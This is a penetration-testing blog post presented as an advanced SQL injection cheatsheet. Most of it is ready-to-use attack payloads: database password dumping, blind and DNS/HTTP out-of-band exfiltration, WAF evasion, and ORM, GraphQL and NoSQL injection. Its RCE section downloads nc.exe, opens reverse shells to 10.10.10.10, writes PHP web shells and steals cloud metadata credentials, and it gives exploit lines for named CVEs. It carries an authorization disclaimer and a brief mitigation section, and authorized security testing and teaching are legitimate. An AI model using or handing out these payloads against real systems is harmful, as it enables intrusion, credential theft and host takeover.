Advanced SQL Injection Cheatsheet : Payloads & RCE

Advanced SQL Injection Cheatsheet 2026: Payloads & RCE

Advanced SQL Injection Cheatsheet 2026: Payloads & RCE

Updated on July 10, 2026

SQL injection has been sitting on the OWASP Top 10 for over two decades, and here's the uncomfortable truth: it didn't just survive, it spread. When executing advanced SQL injection attacks today, you must look beyond legacy inputs. What used to be a single quote in a login form has grown into a whole family of injection attacks that hit ORMs, GraphQL resolvers, JSON parsers, NoSQL query operators, and even the database wire protocol itself. If you're still testing for ' OR 1=1 and calling it a day, you're leaving the interesting findings on the table.

So this is the reference I actually keep open during web app engagements. It's built the way you work a real target: fingerprint first, enumerate, then extract - in-band if you're lucky, blind or out-of-band when you're not - and finally turn that database foothold into code execution on the host. Every section is payloads plus the "why," tagged by engine so you can grab the right syntax without guessing.

Advanced SQL Injection Cheatsheet : Payloads & RCE

Now, I'll be straight with you: calling this a "SQL injection" cheatsheet is selling it short in 2026. The genuinely productive stuff on modern, defended targets lives in the newer surfaces - JSON-based WAF bypass, ORM leak attacks, GraphQL, and prepared-statement bypasses that everyone swears are impossible. Mastering these bypass techniques is essential for accurate database enumeration. I've kept the classic SQLi payloads because they still land constantly, but the back half is where the modern engagements get won. For the ground-floor fundamentals, my older SQL Injection Cheat Sheet pairs well with this one.

Note: Before pentesting any system, have proper authorization from concerned authorities and follow ethical guidelines. Everything below is for authorized assessments, bug bounty programs with defined scope, and lab practice only.


Why "SQL Injection" No Longer Covers It

Here's what changed. Databases grew features faster than the tooling that's supposed to protect them. PostgreSQL shipped JSON support in 2012, MySQL in 2015, MSSQL in 2016 - WAFs were still writing regex for UNION SELECT while the engine happily parsed JSON operators nobody was filtering. At the same time, developers stopped writing raw SQL and started trusting ORMs, GraphQL layers, and NoSQL document stores to keep them safe. They don't, not automatically.

The result is that injection today is a spectrum:

  • Classic SQLi - UNION, error-based, boolean, time-based. Still everywhere in legacy and mid-size apps.
  • JSON-based SQLi - same injection, dressed in JSON syntax the WAF can't tokenize.
  • ORM injection and ORM leak - abusing Django/Prisma/Sequelize filter logic instead of raw queries.
  • GraphQL injection - user input flowing through resolvers straight into backend SQL or NoSQL.
  • NoSQL injection - query-operator and server-side-JS abuse against MongoDB and friends.
  • Protocol-level smuggling - injecting at the database wire protocol, which laughs at prepared statements.

Same root cause every time: untrusted input reaching a query in a context the developer didn't sanitize. Different surface, same tradecraft.


Prerequisites

  • Access Level: Unauthenticated network access to the target web app for most techniques. A few (second-order, some ORM chains) want an authenticated session.
  • Target Environment: MySQL/MariaDB, MSSQL, PostgreSQL, Oracle, SQLite, or MongoDB backends. Payloads differ by engine, so DBMS fingerprinting always comes first.
  • Practice targets: PortSwigger Web Security Academy, DVWA, OWASP Juice Shop, sqli-labs, and retired HackTheBox boxes. Never point any of this at something outside your scope.

Tools:

# sqlmap - automation workhorse (preinstalled on Kali)
apt install sqlmap -y

# ghauri - faster blind/time-based alternative
pip install ghauri

# Burp Suite - manual testing, Repeater, Intruder, Collaborator
apt install burpsuite -y

# interactsh - out-of-band interaction server for OAST
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# GraphQL tooling
pip install graphql-cop
go install github.com/dolevf/graphw00f@latest

# NoSQLMap - MongoDB and other NoSQL backends
git clone https://github.com/codingo/NoSQLMap.git

# SecLists - fuzzing payloads and bypass wordlists
apt install seclists -y

Injection Attack Types at a Glance

Know which class you're dealing with before you start throwing payloads, because it dictates everything downstream:

  • In-band (classic) - UNION-based and error-based. Data comes straight back in the response. Fastest to exploit.
  • Blind (inferential) - boolean-based and time-based. No data in the response, so you infer it bit by bit.
  • Out-of-band (OAST) - you exfiltrate over DNS or HTTP to a server you control. Perfect when the app is fully blind and async.
  • Second-order (stored) - payload stored now, executed later in a different context. Walks right past input filters that only check the entry point.
  • Modern surfaces - JSON, ORM, GraphQL, NoSQL, protocol. Covered in their own section below.

Detection: Breaking the Query

Well, first you need to find the injectable parameter and see how the app reacts. Send fault-injection characters and watch for errors, 500s, or changed responses.

-- Send each, watch for errors or changed responses
'
"
`
\
')
'))
';--

-- Numeric context (no quotes needed)
1 AND 1=1
1 AND 1=2

-- Boolean pair - the two responses should differ if injectable
' AND 1=1-- -
' AND 1=2-- -

-- Arithmetic confirmation, stays quiet against most WAFs
1*1
1-0

Now, string concatenation behaves differently per engine, so this alone tells you the backend before you even fingerprint:

'abc'||'def'          -- PostgreSQL / Oracle / SQLite  -> abcdef
'abc'+'def'           -- MSSQL
CONCAT('abc','def')   -- MySQL

Comment terminators by engine (you'll need these to neutralize the rest of the query):

-- -   space after -- is required for MySQL; this form is universal-safe
#      MySQL
--     MSSQL / PostgreSQL / Oracle / SQLite
/* */  inline, all engines

Database Fingerprinting

Every payload past this point depends on the engine. Confirm it before you commit.

-- Version strings
' UNION SELECT @@version-- -                     -- MySQL / MSSQL
' UNION SELECT version()-- -                     -- PostgreSQL / MySQL
' UNION SELECT banner FROM v$version-- -          -- Oracle
' UNION SELECT sqlite_version()-- -               -- SQLite

-- Current user / database / privilege in one shot
' UNION SELECT current_user,current_database(),NULL-- -                 -- PostgreSQL
' UNION SELECT user(),database(),NULL-- -                               -- MySQL
' UNION SELECT SYSTEM_USER,DB_NAME(),IS_SRVROLEMEMBER('sysadmin')-- -    -- MSSQL
' UNION SELECT user,NULL,NULL FROM dual-- -                             -- Oracle

Enumeration

Here's how the UNION path works. You need the exact column count and which columns actually render in the response before you can pull data through them. Proper information_schema enumeration will save you critical time.

-- Find column count: increment ORDER BY until it errors or the page shifts
' ORDER BY 1-- -
' ORDER BY 5-- -
' ORDER BY 6-- -      -- error at 6 means 5 columns

-- Or NULL-pad with UNION until the type mismatch clears
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -

-- Identify which columns print, using string markers
' UNION SELECT 'a1','a2','a3','a4','a5'-- -

Walking the schema. Once you know the reflected columns, pull metadata. MySQL and PostgreSQL share information_schema; the others have their own catalogs.

-- MySQL / PostgreSQL
' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata-- -
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT CONCAT(username,0x3a,password),NULL,NULL FROM users-- -   -- 0x3a is ':'

-- PostgreSQL native catalogs, for when information_schema is filtered
' UNION SELECT datname,NULL,NULL FROM pg_database-- -
' UNION SELECT tablename,NULL,NULL FROM pg_tables WHERE schemaname='public'-- -
' UNION SELECT string_agg(usename||':'||passwd,','),NULL,NULL FROM pg_shadow-- -

-- MSSQL
' UNION SELECT name,NULL,NULL FROM master.dbo.sysdatabases-- -
' UNION SELECT name,NULL,NULL FROM sysobjects WHERE xtype='U'-- -
' UNION SELECT name,NULL,NULL FROM syscolumns WHERE id=OBJECT_ID('users')-- -

-- Oracle
' UNION SELECT table_name,NULL,NULL FROM all_tables-- -
' UNION SELECT column_name,NULL,NULL FROM all_tab_columns WHERE table_name='USERS'-- -

-- SQLite
' UNION SELECT sql,NULL,NULL FROM sqlite_master WHERE type='table'-- -

Error-Based Data Extraction

When the app leaks database errors to the page, error-based extraction is faster than blind because you get real data back in a single request. The trick is forcing the value you want into an error message.

-- MySQL - extractvalue/updatexml truncate at ~32 chars, so page with SUBSTRING
' AND extractvalue(1,CONCAT(0x7e,(SELECT version())))-- -
' AND updatexml(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 1)),1)-- -
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- MSSQL - type-conversion error leaks the value
' AND 1=CONVERT(int,(SELECT @@version))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))-- -

-- PostgreSQL - cast error, single value
' AND 1=CAST((SELECT version()) AS int)-- -
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- -

Now here's a PostgreSQL trick a lot of people miss. query_to_xml lets you dump an entire table in a single error message, no row-by-row LIMIT dance required:

-- PostgreSQL - whole table in ONE error response
' AND 1=CAST((SELECT query_to_xml('SELECT * FROM users',true,true,'')) AS int)-- -

-- No-quotes variant using CHR + a hex-decoded inner query (WAF-friendly)
1 or '1'=(query_to_xml(convert_from('\x53454c454354202a2046524f4d207573657273','UTF8'),true,true,''))::text-- -

-- Oracle error-based
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE rownum=1))-- -
' AND 1=(SELECT UPPER(XMLType(CHR(60)||(SELECT user FROM dual)||CHR(62))) FROM dual)-- -

Blind SQL Injection: Boolean and Time

When there's no output and no errors, you fall back to asking true/false questions and watching the response. It's slower, but it always works eventually.

-- Get the length first, so you know when to stop
' AND (SELECT LENGTH(password) FROM users LIMIT 1)=32-- -   -- MySQL / PostgreSQL
' AND (SELECT LEN(password) FROM users)=32-- -             -- MSSQL

-- Binary search on each character (ASCII midpoint, ~7 requests per char)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64-- -
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -

-- MSSQL uses SUBSTRING with no LIMIT
' AND ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>96-- -

-- PostgreSQL uses SUBSTR
' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 1),1,1))>96-- -

When true and false responses look identical, gate a time delay behind your condition instead:

-- MySQL
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96,SLEEP(3),0)-- -

-- MSSQL
'; IF(ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>96) WAITFOR DELAY '0:0:3'-- -

-- PostgreSQL
'; SELECT CASE WHEN (ASCII(SUBSTR((SELECT password FROM users LIMIT 1),1,1))>96) THEN pg_sleep(3) ELSE pg_sleep(0) END-- -

Bit-shift extraction. In most scenarios, when you're automating against a rate-limited or throttled target, testing individual bits beats range comparison. Every character costs exactly 8 boolean requests, which makes timing predictable:

-- Test each bit; 8 fixed requests per character
' AND (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) >> 0 & 1)=1-- -
' AND (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) >> 7 & 1)=1-- -

And if your injection lands in a sort parameter on PostgreSQL, you can build a CASE oracle without needing UNION at all:

?order=id&sort=,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT pg_read_file('/etc/passwd')) AS NUMERIC)='1')) THEN name ELSE note END)

Out-of-Band (OAST) Extraction

Now this is the one I reach for whenever outbound traffic is allowed. Instead of one request per bit, you push the data out over DNS or HTTP to a server you control and read it off the log. Spin up your listener first. Out of band SQL injection relies on interaction tools like Burp Collaborator or projectdiscovery's interactsh.

# Start an interaction server (or use Burp Collaborator)
interactsh-client -v
-- MSSQL - UNC/DNS via xp_dirtree (also xp_fileexist, xp_subdirs)
'; DECLARE @a varchar(1024); SELECT @a=(SELECT TOP 1 password FROM users);
   EXEC('master..xp_dirtree "\\'+@a+'.x.oast.pro\z"')-- -

-- Oracle - HTTP / DNS exfil
' AND (SELECT UTL_HTTP.REQUEST('http://x.oast.pro/'||(SELECT password FROM users WHERE rownum=1))) IS NOT NULL-- -
' AND (SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.x.oast.pro')) IS NOT NULL-- -
' AND (SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.x.oast.pro',80) FROM dual) IS NOT NULL-- -

-- MySQL (Windows, FILE priv, no secure_file_priv block) - LOAD_FILE over UNC
' AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.x.oast.pro\\a'))-- -

-- PostgreSQL - dblink or COPY TO PROGRAM (superuser)
'; COPY (SELECT '') TO PROGRAM 'nslookup $(id).x.oast.pro'-- -
'; SELECT dblink('host=x.oast.pro user=x dbname=x','SELECT 1')-- -

SQLite has no network egress, so OAST simply doesn't apply there. For everything else, prefer it over time-based every time you can.


Modern Injection Surfaces

Alright, this is the part that separates a 2026 report from a 2015 one. These are the surfaces where modern, WAF-fronted apps actually fall.

JSON-Based SQL Injection and WAF Bypass

The database parses JSON operators that the WAF's SQLi engine doesn't recognize. Team82 at Claroty proved this smokes signature inspection across Palo Alto, AWS, Cloudflare, F5, and Imperva. You splice JSON syntax into an otherwise ordinary injection and the WAF's tokenizer chokes while the engine reads it fine.

-- PostgreSQL JSON operators to confuse the WAF tokenizer
'||(SELECT '1')::jsonb->>'a'||'
' AND '1'=('{"a":1}'::jsonb->>'a')-- -

-- MySQL JSON functions as filler the WAF won't flag
' OR JSON_EXTRACT('{"a":1}','$.a')=1-- -

sqlmap folds a lot of this into per-engine tampers, so once you've confirmed the injection manually you can let it grind.

ORM Injection and ORM Leak

Developers think the ORM saves them. It doesn't when user input controls the filter structure. The root cause is a user-controlled dict getting unpacked straight into a filter method.

# Django __-lookup blind leak, e.g. Article.objects.filter(**request.GET)
?password__startswith=a           # true/false oracle, walk the value out
?token__regex=^abc                # regex oracle; MySQL ReDoS turns this error-based
?created_by__departments__employees__user__password__contains=p   # pivot across joins

# CVE-2025-64459 (Django, CVSS 9.1) - the _connector argument builds a tautology
?author=DevOps+Engineer&_connector=OR+1=1+OR

# Hunt for the sink in source
grep -rn "\.filter(\*\*" --include="*.py" .

Prisma and Sequelize style backends leak the same way through JSON operator injection in the request body:

{"username":{"$gt":""}}                                          # auth bypass
{"id":{"in":[1,2,3]},"AND":[{"password":{"startsWith":"a"}}]}    # blind leak

GraphQL Injection

GraphQL is just a front door. The resolver behind it passes your arguments into backend SQL or NoSQL, so you inject through variables rather than inline literals.

# Inject through the variable, not the query text
query($id:String!){ user(id:$id){ email } }
# variables: {"id":"1 UNION SELECT 1,password,3 FROM admin_users-- -"}

# Inline filter injection plus stacked time-based
{ users(filter:"1=1) UNION SELECT password,username FROM admins-- -"){ id email } }
{ user(name:"x';SELECT pg_sleep(10);-- -"){ id } }

# Batching / alias amplification - multiply resolver hits in one request to beat rate limits
{ a:user(id:"1 OR 1=1"){email} b:user(id:"2 OR 1=1"){email} c:user(id:"3 OR 1=1"){email} }

For recon, graphw00f fingerprints the engine, and graphql-cop or InQL will map the schema so you can find the juicy User, Payment, and Admin types fast.

NoSQL Injection (MongoDB)

No SQL doesn't mean no injection. Query-operator abuse and server-side JavaScript are the two big ones.

# Auth bypass via operator injection in URL params
username[$ne]=x&password[$ne]=x
username[$regex]=^admin&password[$ne]=x

# JSON body
{"username":{"$gt":""},"password":{"$gt":""}}

# Server-side JS, where it's enabled
{"$where":"this.password.match(/^a/)"}
{"username":"admin","$where":"sleep(5000)"}         # blind timing

# Aggregation-pipeline abuse for cross-collection reads
[{"$lookup":{"from":"users","localField":"x","foreignField":"y","as":"z"}}]
[{"$unionWith":"secret_collection"}]

PDO Prepared-Statement Bypass

Here's one that breaks the "prepared statements are always safe" gospel. On PHP 8.3 and earlier with emulated prepares on, if an identifier gets interpolated, a null byte confuses backtick parsing and your text gets reinterpreted as a bound placeholder.

col = x`FROM(SELECT table_name AS `'x`FROM information_schema.tables)y;#%00

The fix is one line: PDO::ATTR_EMULATE_PREPARES => false. Related recent bugs worth knowing are CVE-2025-14179 (pdo_firebird) and CVE-2025-14180 (pdo_pgsql).

Protocol-Level SQL Smuggling

And the nastiest of the bunch: you can inject at the database wire protocol itself, below the query layer, which means prepared statements offer exactly zero protection. A message-length integer overflow desyncs the protocol stream. The Go pgx driver case is tracked as CVE-2024-27304. This isn't a string you paste into a form - it's triggered at the driver layer, so test it when prepared statements look airtight and nothing else is landing.


WAF and Filter Evasion

Now, most of your 403s come from signature-based WAFs matching things like UNION SELECT and OR 1=1. The move is to transform the payload into something the database still parses but the regex misses.

-- Inline comments break keyword matching
'/**/UNION/**/SELECT/**/1,2,3-- -
'/*!50000UNION*//*!50000SELECT*/1,2,3-- -        -- MySQL versioned comment

-- Space-free, for length/space-restricted sinks (think FortiWeb's 128-char sscanf)
'/**/or/**/sleep(5)-- -

-- Case randomization defeats naive rules
'uNiOn sElEcT 1,2,3-- -

-- Whitespace alternatives: %09 tab, %0a newline, %0c, %0d, %a0, ()
'%09UNION%0aSELECT(1),(2),(3)-- -

-- Operator swaps to drop = and >
' AND 5 BETWEEN 1 AND 9-- -
' AND 'a' LIKE 'a'-- -
' AND 1 IN (1)-- -

-- Build strings without quotes
0x61646d696e                     -- 'admin' in hex (MySQL)
CHAR(97,100,109,105,110)         -- MSSQL
CHR(97)||CHR(100)                -- PostgreSQL / Oracle

-- Encoding tricks
%2555%256e%2569%256f%256e        -- double-URL-encoded UNION
UNION                          -- fullwidth Unicode (U+FF35 etc), normalizes to UNION at the backend
%u0055%u004e%u0049%u004f%u004e   -- IIS %u encoding

Don't forget you can move the payload off the query string entirely. Plenty of apps trust these headers straight into a query:

X-Forwarded-For: 0'XOR(SLEEP(5))XOR'Z
User-Agent: '/**/UNION/**/SELECT/**/@@version-- -
Authorization: Bearer AAAA'/**/or/**/sleep(5)--/**/-'

One thing that trips people up: ModSecurity CRS uses anomaly scoring, not single-rule blocking. Each signature you trip adds to a score, and you get blocked when the total crosses a threshold. So the goal is to trip as few rules as possible, not to pile ten tampers on and hope. If you want the deeper theory on why signature and even machine-learning filters get bypassed by syntactic transformation, the same arms-race logic I cover in my AI Jailbreak Techniques playbook applies directly to WAFs.


Automating with sqlmap

Once you've confirmed the injection by hand, sqlmap saves you hours on enumeration and extraction. My progression runs from light touch to aggressive.

# Feed it a raw Burp request - handles auth, headers, POST, and JSON cleanly. Best default.
sqlmap -r req.txt --batch

# Progressive enumeration
sqlmap -r req.txt --dbs
sqlmap -r req.txt -D appdb --tables
sqlmap -r req.txt -D appdb -T users --dump
sqlmap -r req.txt --level=5 --risk=3 --threads=10

# WAF evasion plus stealth
sqlmap -r req.txt --identify-waf --random-agent --delay=2 \
  --tamper=space2comment,between,randomcase

# 2025 vendor tamper packs for Cloudflare/AWS/Azure
git clone https://github.com/regaan/sqlmap-tamper-collection
cp tamper_scripts/cloudflare2025.py $(python -c "import sqlmap,os;print(os.path.dirname(sqlmap.__file__))")/tamper/
sqlmap -u "https://10.10.10.10/?id=1" --tamper=cloudflare2025

# Force technique and DBMS when detection is stubborn
sqlmap -r req.txt --technique=T --time-sec=10 --dbms=mysql

# Post-exploitation
sqlmap -r req.txt --is-dba --privileges
sqlmap -r req.txt --os-shell
sqlmap -r req.txt --file-read="/etc/passwd"
sqlmap -r req.txt --file-write=shell.php --file-dest=/var/www/html/shell.php

This is basically how I dumped creds on the Enterprise HackTheBox box, where an injectable WordPress plugin parameter gave up the whole user table with --dump. When sqlmap drags on a blind target, ghauri -r req.txt --dbs is a faster drop-in.


SQL Injection to RCE

Dumping the database is rarely the finish line. The finding that actually moves an engagement is turning a query into code execution on the host.

MSSQL. xp_cmdshell is the classic, and re-enabling it is trivial if you've got sysadmin: A solid mssql xp_cmdshell injection payload achieves system compromise instantly.

-- Re-enable if it's off
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -
'; EXEC master..xp_cmdshell 'whoami'-- -
'; EXEC master..xp_cmdshell 'certutil -urlcache -f http://10.10.10.10/nc.exe C:\Windows\Temp\nc.exe'-- -
'; EXEC master..xp_cmdshell 'C:\Windows\Temp\nc.exe 10.10.10.10 443 -e cmd.exe'-- -

-- OLE Automation as an alternative path
'; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
   DECLARE @o INT; EXEC sp_oacreate 'wscript.shell',@o OUT;
   EXEC sp_oamethod @o,'run',NULL,'cmd /c whoami > C:\temp\o.txt'-- -

-- Linked-server pivot to hop across trusts
'; SELECT * FROM openquery("LINKED",'SELECT @@version')-- -

Tools worth having here are SQLRecon (CLR shellcode, NetNTLMv2 capture) and SqlKnife.

MySQL/MariaDB. Write a web shell with INTO OUTFILE, or go for UDF-based command execution:

-- Web shell (needs FILE priv and a writable webroot)
' UNION SELECT '<?php system($_GET["c"]);?>',NULL,NULL INTO OUTFILE '/var/www/html/s.php'-- -

-- UDF RCE via lib_mysqludf_sys - use DUMPFILE for the binary so it stays byte-exact
'; SELECT 0xELF... INTO DUMPFILE '/usr/lib/mysql/plugin/sys.so'-- -
'; CREATE FUNCTION sys_exec RETURNS int SONAME 'sys.so'-- -
'; SELECT sys_exec('bash -i >& /dev/tcp/10.10.10.10/443 0>&1')-- -

If you land a web shell this way, my PHP web shell and reverse shell guide covers turning that foothold into a stable reverse shell.

PostgreSQL. COPY ... TO/FROM PROGRAM is the direct route with superuser and stacked queries. But here's the good part: the large-object primitives work even in SELECT-only contexts where stacked queries are blocked.

-- COPY FROM/TO PROGRAM (superuser, stacked queries)
'; CREATE TABLE x(o text); COPY x FROM PROGRAM 'id'-- -
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"'-- -

-- Large-object file read/write, works in SELECT-only injections
' AND (SELECT lo_import('/etc/passwd'))-- -
'; SELECT lo_export(lo_from_bytea(0,decode('...','base64')),'/tmp/x.so')-- -

-- File read, version dependent
' UNION SELECT pg_read_file('/etc/passwd'),NULL,NULL-- -

The 2026 Drupal/PostgreSQL chain (CVE-2026-9082) rides those large objects plus session_preload_libraries to hit RCE with no COPY TO PROGRAM and no CREATE EXTENSION at all. Worth reading if you're up against a hardened PG target.

Oracle. DBMS_SCHEDULER will run an OS command for you:

'; BEGIN DBMS_SCHEDULER.CREATE_JOB(job_name=>'x',job_type=>'EXECUTABLE',
   job_action=>'/bin/bash',number_of_arguments=>2,enabled=>FALSE); END;-- -

SQLite. ATTACH can drop a web shell if attach is allowed:

'; ATTACH DATABASE '/var/www/html/s.php' AS x;
   CREATE TABLE x.a(c text); INSERT INTO x.a VALUES('<?php system($_GET[0]);?>')-- -

Post-Exploitation and Pivoting

Once you're in, pull the credential material and start moving.

-- Dump hashes for offline cracking and password spraying
' UNION SELECT string_agg(usename||':'||passwd,'\n'),NULL,NULL FROM pg_shadow-- -       -- PostgreSQL
' UNION SELECT CONCAT(user,0x3a,authentication_string),NULL,NULL FROM mysql.user-- -     -- MySQL
' UNION SELECT name,password_hash FROM sys.sql_logins-- -                               -- MSSQL

From there, the reliable pivots are:

  • MSSQL UNC to NetNTLMv2 - force an outbound SMB auth and relay or crack it with Responder or ntlmrelayx.
  • Cloud metadata theft - COPY ... FROM PROGRAM 'curl http://169.254.169.254/latest/meta-data/iam/security-credentials/' on PostgreSQL, or the equivalent UTL_HTTP.REQUEST call on Oracle.
  • Credential reuse - recovered DB and config-file creds get sprayed against SSH, RDP, and admin panels. Database passwords in config files are lazy but incredibly common, and they unlock other services constantly.

High-Impact Recent CVEs (2024-2026)

These are the copy-paste wins from the last couple of years. If your target runs any of these unpatched, you're most of the way to a critical finding.

CVE-2025-25257  FortiWeb pre-auth SQLi -> RCE (CVSS 9.6, CISA KEV, exploited in the wild)
                Authorization: Bearer AAAA'/**/or/**/sleep(5)--/**/-'
                Escalate: UNION SELECT ... INTO OUTFILE a .pth into site-packages,
                then trigger it via /cgi-bin/ml-draw.py. Fixed 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11
CVE-2025-64459  Django ORM _connector SQLi (CVSS 9.1). Fixed 5.2.8 / 5.1.14 / 4.2.26
CVE-2026-9082   Drupal JSON:API + PostgreSQL SELECT-only RCE (SA-CORE-2026-004)
CVE-2025-61675  FreePBX Endpoint Manager SQLi, chains to unauth RCE (exploited in the wild)
CVE-2024-27304  Go pgx protocol-level smuggling (bypasses prepared statements)
CVE-2024-39895  Directus GraphQL alias-amplification DoS (fixed 10.12.0)
CVE-2025-14179  PHP pdo_firebird NUL-byte SQLi (fixed December 2025)

Detection and Mitigation

Even on a pure red team job, the report needs remediation guidance, and the honest answer is that a WAF is not the fix. To stop advanced SQL injection vulnerabilities permanently, developers must prioritize secure architecture.

  • Parameterized queries and prepared statements are the actual cure. Get the code right at the root and it doesn't matter how many tamper scripts an attacker chains, the injection just won't fire. The one caveat is the PDO emulated-prepares issue above, so disable emulation.
  • Least-privilege database accounts kill the SQL-to-shell pivot on their own. The web app's DB user should never hold FILE, xp_cmdshell, or DBA rights.
  • Validate ORM and API input with allowlists. Never unpack a user-controlled dict straight into a filter method, and constrain GraphQL query depth and aliasing.
  • Treat the WAF as defense in depth, not a patch. It's a deterrent that buys time; a patient attacker eventually finds the right key. Tune it with anomaly scoring and enable Unicode normalization enforcement.
  • Detect it by alerting on database errors surfacing to users, spikes of 403s followed by parameter fuzzing, unusual SLEEP and WAITFOR patterns in query logs, and any web-server process spawning a shell.

Frequently Asked Questions

What is the difference between SQL injection and NoSQL injection?
SQL injection manipulates structured queries against relational databases like MySQL or PostgreSQL, usually by breaking out of a string literal. NoSQL injection targets document stores like MongoDB and abuses query operators ($ne, $gt, $where) or server-side JavaScript instead. Different syntax, same root cause: untrusted input reaching a query unsanitized.

Are prepared statements enough to stop SQL injection?
Almost always, yes, and they're the correct fix. The exceptions are narrow: PHP PDO with emulated prepares on can still be broken with a null byte in an interpolated identifier, and protocol-level smuggling (CVE-2024-27304) operates below the query layer entirely. For everyday app code, parameterized queries plus least-privilege DB accounts shut the door.

How do attackers bypass a WAF during SQL injection?
By transforming the payload so the database still parses it but the WAF's signature doesn't match: inline and versioned comments, case randomization, JSON operators the WAF can't tokenize, Unicode normalization tricks, hex or CHR string building, and moving the payload into headers. Since CRS uses anomaly scoring, the skill is minimizing the number of rules you trip, not stacking evasions blindly.

What is out-of-band SQL injection and when do you use it?
OAST exfiltration pushes data over DNS or HTTP to a server you control (interactsh, Burp Collaborator). You use it when the injection is fully blind, when time-based extraction is too slow, or when the query runs asynchronously. It's one request instead of one-per-bit, so it's dramatically faster wherever outbound traffic is allowed.

Can SQL injection lead to remote code execution?
Yes, and it's the highest-impact outcome. MSSQL via xp_cmdshell or OLE automation, MySQL via INTO OUTFILE web shells or UDFs, PostgreSQL via COPY ... TO PROGRAM or large objects (even in SELECT-only contexts), and Oracle via DBMS_SCHEDULER. A single injectable parameter can end in a shell on the database host.


Conclusion

SQL injection stays lethal in 2026 because it stopped being just SQL injection. The defenses that catch beginners rarely stop a tester who fingerprints the backend, adapts payloads by hand, and knows the modern surfaces where ORMs, GraphQL, JSON, and NoSQL quietly reintroduce the same old flaw. Master the manual blind and out-of-band extraction, understand the parser-differential bypasses, and always push from data exfiltration toward code execution where scope allows. Having this advanced SQL injection cheat sheet on standby is just step one.

Next steps: drill these against PortSwigger's Web Security Academy and sqli-labs until the payloads are muscle memory, then run the full chain from recon to shell on retired HackTheBox machines. And only ever point this at systems you're authorized to test. Well, that's the playbook. Happy hacking!

Enjoyed this guide? Share your thoughts below and tell us how you leverage advanced SQL injection techniques in your projects!

advanced sql injection, sql injection cheat sheet, bug bounty, penetration testing, database enumeration, cybersecurity, WAF bypass, NoSQL injection
Bhanu Namikaze

Bhanu Namikaze is an Penetration Tester, Red Teamer, Ethical Hacker, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and CTFs. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment